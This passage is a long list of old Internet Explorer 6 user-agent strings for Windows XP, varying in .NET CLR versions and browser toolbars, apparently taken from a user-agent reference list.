3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; SiteKiosk) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET4.0C; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; ;ja) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar; yplus 5.3.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Crazy Browser 2.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Crazy Browser 3.0.0 Beta2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; MS-RTC LM 8)Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Sleipnir/2.9.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; Alexa Toolbar; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 6.0.3.20663) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 6.3.3.22929) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD TOOLBAR 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.427.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; SiteKiosk 6.2 Build 51) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.65.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar; TencentTraveler 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Crazy Browser 2.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; Alexa Toolbar) (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; Alexa Toolbar) (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.0; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.3; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50215; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Lunascape 3.0.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Seekmo 10.0.370.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Sleipnir/2.9.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Tablet PC 1.7; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; Windows-Media-Player/10.00.00.3990; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; Sleipnir/2.9.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 3.0; PeoplePal 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 6.1; PeoplePal 6.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.275.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.370.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.424.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.431.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; SiteKiosk 6.0 Build 98) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; SiteKiosk 6.0 Build 98; SiteCoach 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; SpamBlockerUtility 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Tablet PC 1.7; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Zango 10.0.314.0; .NET CLR 2.0.50727; Seekmo 10.0.370.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.41115; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50110; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50215; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50215; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 2.0.50215; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR.3.0.04131.06) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; GreenBrowser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Seekmo 10.0.341.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3; TheWorld) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; TheWorld) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; AskTbUT2V5/5.8.0.12304; TheWorld) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; FDM; MEGAUPLOAD 1.0) 